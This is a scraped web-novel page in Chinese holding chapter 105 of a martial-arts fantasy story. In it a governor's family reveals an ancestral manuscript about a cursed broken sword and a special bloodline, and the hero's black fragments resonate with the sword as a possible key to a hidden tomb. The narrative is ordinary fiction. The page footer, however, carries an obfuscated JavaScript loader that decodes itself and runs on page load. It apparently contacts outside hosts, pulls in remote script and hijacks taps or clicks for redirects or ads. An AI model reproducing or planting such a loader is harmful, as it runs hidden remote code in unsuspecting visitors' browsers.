首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第105章 血脉逆冲非寻常

下载APP,无广告、完整阅读
    第105章血脉逆冲非寻常(第1/2页)
    顾文昭去取紫檀木盒,房间内陷入了一阵短暂的、凝重的沉默。顾延年坐在床榻边,握着儿子依旧冰凉的小手,目光复杂,既有劫后余生的庆幸,也有对即将揭开的家族隐秘的忐忑。薛神医则在一旁,仔细检查着顾明轩的脉象和那滩黑血,眉头紧锁,若有所思。顾倾城静静地站在窗边,目光落在庭院中那棵老槐树的斑驳光影上,仿佛在想着什么心事。
    秦夜则闭目调息,抓紧时间恢复着因施展“九阳锁魂针”而消耗巨大的心神和真气。同时,他也在脑中快速分析着目前掌握的线索。顾家先祖留下凶剑,世代封印,却又有后代血脉与之产生共鸣,被煞气所侵……这绝非巧合。那紫檀木盒中,必然藏着关键的信息。
    约莫一盏茶的功夫,顾文昭捧着一个约莫一尺见方、通体乌黑、散发着淡淡檀木香气的木盒,走了进来。木盒表面,刻着一些细密繁复的花纹,看起来年代极为久远,边角处甚至有些磨损。他将木盒小心翼翼地放在桌上,对顾延年道:“大人,东西取来了。”
    顾延年深吸一口气,仿佛下定了决心,站起身,走到桌边。他没有立刻打开木盒,而是对秦夜和薛神医道:“秦先生,薛神医,此盒中所藏,乃是我顾家历代家主口口相传、非到万不得已不得轻易示人的一件信物,以及一本先祖留下的手札。其中记载,或许与明轩此次遭劫,以及那柄凶剑的来历,息息相关。今日,为了救明轩,也为了一解本官心中多年的疑惑,便请二位一同见证。”
    他伸出手,指尖微微颤抖着,按在木盒的铜锁之上。那铜锁造型古朴,没有钥匙孔,只有一个可以旋转的、刻有阴阳鱼的浮雕转盘。顾延年闭上眼睛,手指在转盘上,以一种奇异的节奏和顺序,拨动了数次,只听“咔哒”一声轻响,铜锁应声而开。
    他缓缓掀开盒盖。
    木盒内,铺着暗黄色的绸缎。绸缎之上,静静地躺着两样东西。
    一枚玉佩。玉佩呈圆形,通体墨绿,质地温润,约莫婴儿巴掌大小。玉佩正面,雕刻着一幅图案——并非龙凤麒麟等祥瑞之物,而是一座巍峨的山峰,山峰之上,云雾缭绕,隐约可见一柄倒悬的古剑,剑尖直指山下的一片深渊。玉佩背面,则刻着两个古朴的篆字——“镇邪”。
    一卷用黑色丝线装订、纸质已经泛黄发脆的手札。手札封面,没有题字,只有同样一个用朱砂描绘的、形似某种封印符文的图案。
    顾延年小心翼翼地取出那卷手札,双手捧着,仿佛捧着千斤重担。他没有立刻打开,而是对秦夜和薛神医道:“这本手札,乃是我顾家先祖,顾沧澜公,于一百三十年前所书。其中,详细记载了他发现、封印那柄凶剑的经过,以及……关于我顾家一脉,某种特殊血脉的隐秘。”
    “特殊血脉?”薛神医动容道,“难道……小公子此次遭劫,并非仅仅是因为那凶剑煞气,还与他的血脉有关?”
    顾延年沉重地点了点头,缓缓打开了手札。他的目光,仿佛穿透了时光,看到了百年前那段尘封的往事,声音也变得低沉而悠远:
    “据先祖手札记载,我顾家先祖顾沧澜,年轻时曾是一位游历天下的武者,修为高深,且对奇门异术、上古秘闻,颇有研究。一次,他深入黑风岭,追寻一处传说中的古遗迹时,误入了一片被浓雾和毒瘴笼罩的绝谷。在那里,他发现了一处被强大阵法封印的地下洞穴。洞穴入口处,尸骨遍地,煞气冲天。他费尽心力,破解了部分外围阵法,进入了洞穴深处。”
    “在那里,他看到了一幕令他永生难忘的景象——洞穴中央,有一座巨大的、由黑色巨石垒成的祭坛。祭坛之上,悬浮着一柄通体漆黑的断剑,正是如今封印在府中的那柄!断剑周围,缠绕着无数肉眼可见的、如同黑色锁链般的煞气,发出令人灵魂战栗的哀嚎和低语。而在祭坛下方,散落着数十具穿着古老服饰的尸骸,从服饰和残留的气息判断,这些人,生前都是修为极高的武者,甚至可能……是传说中的‘天剑宗’弟子!”
    “天剑宗弟子?!”薛神医失声惊呼,脸色剧变。这个名字,仿佛带着某种魔力,让这位见多识广的老神医,都失去了往日的镇定。
    秦夜和叶轻眉,也是心中剧震!果然!这柄凶剑,真的与天剑宗有关!
    顾延年继续说道:“先祖在手札中推测,这柄断剑,很可能是天剑宗昔日镇压、或封印的一件极其邪恶的魔兵!不知因何缘故,封印被破坏,魔兵出世,屠戮了守护它的天剑宗弟子,最终力竭或被重新封印于此。而那些死去的天剑宗弟子,临死前的怨念和不甘,以及魔兵本身的邪恶意志,混合在一起,形成了这片绝域的煞气之源。”
    “先祖深知此物凶险,绝非人力所能摧毁。他本想就此离开,永不再踏足此地。但就在他准备退出洞穴时,却发现了一件令他震惊的事情——他的鲜血,滴落在祭坛边缘的某块刻有符文的石板上时,那柄断剑的煞气,竟然微微波动了一下,仿佛……与他产生了某种共鸣!”
    “先祖大惊失色,连忙检查自身。这才发现,他的血脉之中,似乎蕴含着一种极其稀有的、对阴煞邪气有着特殊感应力,甚至……亲和力的特质!这种特质,让他能够抵御部分煞气的侵蚀,甚至……在一定程度上,感应、引导煞气的流向!但同时,也让他更容易成为这类邪物的目标!”
    听到这里,秦夜心中豁然开朗!难怪顾明轩会被煞气侵体如此之深!难怪顾延年能靠近那柄断剑而无大碍!原来,顾家血脉,本身就异于常人!这是一种诅咒,也是一种天赋!
    顾延年继续道:“先祖明白,此事若是传扬出去,恐怕会给顾家带来灭顶之灾。于是,他重新加固了洞穴的封印,并带走了这柄断剑,以及部分他认为可能蕴含线索的遗物(包括那枚‘镇邪’玉佩),离开了黑风岭。后来,他定居天风郡,建立了顾家基业,并立下祖训:此剑与手札,由历代家主亲自保管、封印,非必要不得轻启;顾家子孙,不得轻易踏足黑风岭深处;若发现有后代血脉,对阴煞之气表现出异常敏感或亲和,需及早引导、防范,避免重蹈覆辙……”
    他合上手札,长长叹息一声:“先祖本以为,将此剑封印于府中,远离黑风岭那等凶地,便可保后世无忧。却不想……百密一疏,明轩他……终究还是因为这血脉,与这凶剑,产生了感应,遭此劫难。这或许,便是我顾家,注定要背负的宿命吧……”
    房间内,一片死寂。所有人都被这段尘封的往事,以及顾家血脉的秘密,深深震撼了。
    薛神医喃喃道:“难怪……难怪老朽总觉得小公子的脉象,除了煞气侵体,还有一种……仿佛与生俱来的、与那煞气相呼应的奇异波动……原来,竟是血脉之故!这可真是……造化弄人啊!”
    顾倾城走到父亲身边,轻轻握住他微微颤抖的手,柔声道:“父亲,先祖有训,让我们防范于未然。如今小弟遭劫,却也让我们知晓了这血脉的秘密。或许,这便是天意,让我们有机会,去正视它,解决它,而不是一味逃避。”
    她转过头,看向秦夜,目光清澈而坚定:“秦先生,你既能以金针逼出小弟体内部分煞气,又对黑风岭和此类异力颇有研究,想必……对如何应对这‘血脉’与‘煞气’的纠葛,也有独到见解?倾城斗胆,恳请先生,能为我顾家,指出一条明路。”
    秦夜沉默了片刻。顾家血脉的秘密,让他意识到,事情比他想象的更加复杂。这已经不仅仅是治病救人,而是涉及到一个家族的宿命,甚至可能与“天剑宗”覆灭和“鬼医冢”的秘密,有着千丝万缕的联系。
    他缓缓开口,声音沉凝:“顾小姐,郡守大人,既然事已至此,草民也不瞒二位。草民与徒儿叶清,之所以离开黑风岭,前来天风郡城,除了游历行医,也确实与黑风岭深处的一些古老传说,以及……可能存在的‘鬼医冢’有关。草民师门‘枯木叟’,曾留下一些关于‘天剑宗’和‘鬼医冢’的零散记载。而草民在为小公子诊治时,也发现,那柄断剑的煞气,与草民所知的一些关于‘鬼医冢’外围守护力量的描述,颇有相似之处。”
    他半真半假地说道,既解释了自己为何会对这类煞气有研究,也试探性地抛出了“鬼医冢”的话题,观察顾延年和顾倾城的反应。
    果然,听到“鬼医冢”三个字,顾延年和顾倾城,都是脸色微变。顾延年更是失声道:“鬼医冢?秦先生,你……你知道‘鬼医冢’?”
    秦夜点了点头:“略知一二。据草民师门记载,‘鬼医冢’乃是一位上古时期的医道圣手,号为‘鬼医’的坐化之地。这位‘鬼医’,不仅医术通神,更精通奇门遁甲、毒术咒法,晚年曾隐居黑风岭,其冢中,据说藏有他毕生所学,以及无数珍稀药材和宝物。但‘鬼医冢’具体位置,早已湮灭在历史长河中,只留下一些真假难辨的传说。草民此次前来郡城,也是想碰碰运气,看是否能从郡城的古籍或世家典藏中,找到一些关于‘鬼医冢’的线索。”
    他这番话,合情合理,既解释了自己对“鬼医冢”的关注,也表明了自己的目的并非单纯为了顾家的酬谢。
    顾延年与顾倾城对视一眼,都从对方眼中看到了震惊和一丝……难以言喻的激动。顾延年深吸一口气,沉声道:“秦先生,实不相瞒。关于‘鬼医冢’,我顾家先祖的手札中,也曾有提及。先祖推测,那柄凶剑,很可能就是‘鬼医’当年,用来镇压某个强大邪物,或者……作为‘鬼医冢’外围守护阵眼之一的法器!而‘鬼医冢’的真正入口,或许就隐藏在那片被浓雾和毒瘴笼罩的绝谷深处!”
    (本章未完,请点击下一页继续阅读)第105章血脉逆冲非寻常(第2/2页)
    “什么?!”这下,轮到秦夜和叶轻眉震惊了!他们没想到,顾家先祖的手札中,竟然真的有关于“鬼医冢”的直接线索!
    顾延年继续道:“先祖手札中提到,他曾在那绝谷深处,发现了一些疑似‘鬼医冢’外围阵法的遗迹,但因为那柄凶剑的煞气太过恐怖,他未能深入探查。他推测,要找到‘鬼医冢’的真正入口,或者破解其外围阵法,可能需要满足几个条件:第一,找到并集齐数件与‘鬼医’或‘天剑宗’相关的信物,比如……那柄断剑,或者类似的碎片;第二,需要一种能够抵御或引导那至阴至煞之气的特殊血脉,比如……我顾家的血脉;第三,可能需要特定的时机,比如特定的天象,或者……某种特殊的‘钥匙’。”
    他的话,如同惊雷,在秦夜和叶轻眉心中炸响!信物!特殊血脉!钥匙!这与他们之前掌握的线索,以及“鬼见愁”的暗示,惊人地吻合!尤其是那“钥匙”,很可能就是指他们手中的黑色碎片!
    秦夜强压下心中的激动,问道:“郡守大人,那手札中,可有提及,那‘钥匙’是什么模样?或者,需要集齐几件信物?”
    顾延年摇了摇头:“先祖手札中,并未详细描述‘钥匙’的模样,只说是一件‘蕴含奇异能量、刻有古老符文的物件’。至于信物……那柄断剑,应该算是一件。其他的,先祖也不得而知。”
    虽然没有得到最直接的答案,但秦夜已经非常满意了。今天得到的信息,价值无量!不仅确认了“鬼医冢”的真实性,还知道了顾家血脉的特殊性,以及那柄凶剑与“鬼医冢”的关联。更重要的是,他们知道了,要探寻“鬼医冢”,可能需要顾家的血脉,或者……与顾家合作!
    “多谢郡守大人坦诚相告!”秦夜对着顾延年,郑重一礼,“这些信息,对草民而言,至关重要!草民斗胆,还有一个不情之请。”
    “秦先生请讲!”顾延年连忙道。
    “草民想……再看一看那柄断剑,以及那枚‘镇邪’玉佩。或许,能从其中,找到更多线索。”秦夜道。
    顾延年沉吟片刻,点头道:“好。秦先生对本官有恩,又对‘鬼医冢’有此了解,或许,这便是天意。先生请看。”他示意秦夜随意查看。
    秦夜走到桌前,先是拿起那枚“镇邪”玉佩。玉佩入手温润,并无异常。但他将一丝“心火”感知探入其中时,却能感觉到,玉佩内部,仿佛蕴含着一股极其微弱、却无比纯净、浩瀚的阳和之力,与那断剑的阴煞之气,截然相反,隐隐有克制之意。这玉佩,果然是一件宝物!
    他又走到那装着断剑的玉盒前。这一次,他没有再用感知去触碰,而是仔细观察着断剑的材质、纹路、以及断裂处的痕迹。他发现,断剑的材质,并非普通的钢铁,而是一种他从未见过的、泛着暗哑金属光泽的黑色晶体,入手极沉,仿佛密度极大。剑身上的裂纹,也并非完全无序,而是隐隐构成某种玄奥的、仿佛天生地养的纹路。断裂处,更是平滑如镜,仿佛被某种极其锋利、且蕴含特殊法则的力量,一击斩断!
    他忽然心中一动,从怀中掏出一个小布袋,从中倒出两块形状不规则、通体漆黑、表面布满扭曲刻痕的金属薄片——正是他从“老何”和钱宝宝那里得到的、以及从黑石城陈千夫长那里“截胡”来的两块黑色碎片!
    他将两块碎片,小心翼翼地,靠近那柄断剑的断裂处。
    “嗡——!”
    当碎片靠近断剑的刹那,断剑仿佛被激活了一般,发出一阵低沉的、仿佛来自九幽的嗡鸣!剑身上的黑色煞气,骤然浓郁了几分,那断裂处,更是传来一股强大的吸力,仿佛要将那两块碎片,吸附过去!
    而那两块黑色碎片,也仿佛感应到了什么,表面的刻痕,微微亮起一丝幽暗的光芒,与断剑的嗡鸣,隐隐呼应!
    “果然!”秦夜眼中爆发出精光!这黑色碎片,与这柄断剑,绝对是同源之物!甚至……它们可能就是同一件物品的组成部分!而这件物品,很可能就是开启“鬼医冢”的“钥匙”,或者……是那“钥匙”的一部分!
    顾延年、薛神医、顾倾城,看到这一幕,也都惊呆了!他们没想到,秦夜身上,竟然带着与这凶剑产生感应的碎片!
    “秦先生,这……这是……”顾延年指着那黑色碎片,声音都颤抖了。
    秦夜深吸一口气,将碎片收回布袋,对顾延年道:“郡守大人,实不相瞒,这两块碎片,是草民在黑风岭时,机缘巧合所得。草民一直怀疑,它们与黑风岭深处的某个秘密有关。今日一见,果然如此!它们,很可能就是开启‘鬼医冢’的‘钥匙’的一部分!而那柄断剑,恐怕就是这‘钥匙’的核心,或者……是‘钥匙’的载体!”
    他顿了顿,看向顾延年,目光灼灼:“郡守大人,顾家血脉,对阴煞之气有特殊感应;这柄凶剑,是‘钥匙’的核心;而草民手中,有‘钥匙’的碎片。这一切,或许并非巧合。或许,冥冥中自有天意,让我们在此相遇,共同面对这百年前的谜团!”
    顾延年脸色变幻不定,显然内心正在进行激烈的斗争。最终,他仿佛下定了决心,对秦夜道:“秦先生,此事实在太过重大,牵扯甚广,绝非本官一人所能决断。而且,明轩尚未痊愈,当务之急,仍是先治好他的病。至于‘鬼医冢’之事……待明轩病情稳定后,本官会召集府中几位核心人物,共同商议。届时,或许还需要秦先生,和叶姑娘,一同参与。”
    他没有立刻答应合作,但也没有拒绝。这态度,在秦夜的意料之中。毕竟,此事关乎顾家血脉、先祖遗训、以及可能存在的巨大宝藏和风险,顾延年作为一家之主,必须慎重。
    “理应如此。”秦夜点头,“当务之急,是为小公子巩固治疗,拔除余毒。草民会留下详细的药方和施针之法。另外,那柄断剑的封印,也需要尽快加固。草民这里有一些特制的朱砂和符纸,或许可以派上用场。”
    他取出一些从“鬼见愁”那里得来的、蕴含着特殊阳和之力的朱砂,以及几张空白的黄符纸,现场调制了一些封印用的墨汁,并绘制了几道简化版的“镇煞符”,交给了顾延年,并详细说明了使用方法。
    顾延年感激不尽,连忙吩咐顾文昭,按照秦夜所说,去加固断剑的封印。
    做完这一切,秦夜和叶轻眉,才告辞离开。顾延年亲自将他们送出小院,并一再叮嘱,让他们先在府中住下,以便随时为顾明轩诊治,同时,也表示会尽快考虑“鬼医冢”之事。
    回到临时安排的客房,关上房门,秦夜和叶轻眉,都长长地舒了一口气。今天的信息量,实在太大,需要好好消化。
    “没想到,顾家竟然与‘鬼医冢’有这样的渊源。”叶轻眉低声道,“而且,那黑色碎片,竟然能与那柄凶剑产生感应……看来,我们之前的猜测,没错。那碎片,很可能就是开启‘鬼医冢’的关键。”
    “不错。”秦夜点头,眼中闪烁着思索的光芒,“而且,顾家血脉的特殊性,也为我们提供了一个新的思路。或许,要真正进入‘鬼医冢’,或者安全地探索其中,我们需要顾家的帮助,甚至……需要顾明轩,或者顾倾城,同行。”
    “顾倾城……”叶轻眉咀嚼着这个名字,眼中闪过一丝复杂之色,“她给我的感觉,很不简单。她的修为,或许不如你我,但那份心智和洞察力,以及她看你的眼神……她似乎,已经对我们的身份,有所怀疑了。”
    秦夜心中一凛。确实,顾倾城给他的感觉,与其他世家千金截然不同。她太冷静,太通透,仿佛能看穿人心。在她面前,自己那套“山野医者”的伪装,恐怕维持不了多久。
    “看来,我们需要加快节奏了。”秦夜沉声道,“在顾倾城彻底看穿我们之前,我们必须尽快巩固与顾延年的合作关系,并从顾家手中,获取更多关于‘鬼医冢’的线索。同时,也要做好随时应对突发情况的准备。天风郡城,毕竟是他们的地盘。”
    叶轻眉点了点头,眼中也闪过一丝锐利:“兵来将挡,水来土掩。至少,我们已经成功打入了郡守府内部,并取得了顾延年的初步信任。这是一个良好的开端。接下来的每一步,都需要更加谨慎,也更加果决。”
    两人又商议了片刻,便各自回房调息休息。秦夜躺在床上,却辗转难眠。今天发生的事情,一幕幕在脑海中回放。顾家血脉的秘密,凶剑与碎片的感应,顾倾城那仿佛洞悉一切的目光……这一切,都预示着,他们在这天风郡城的旅程,绝不会平静。
    而“鬼医冢”的线索,就像一块巨大的磁石,吸引着他们,也吸引着各方势力,向着那未知的、充满凶险和机遇的深渊,一步步靠近。
    血脉逆冲,非寻常之症。而隐藏在血脉和凶剑背后的,是更加波澜壮阔、也更加凶险莫测的命运洪流。秦夜知道,他和叶轻眉,已经站在了这洪流的入口处。是乘风破浪,还是被洪流吞噬,取决于他们接下来的每一步选择。

一秒记住【882小说网】
882xiaoshuo.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();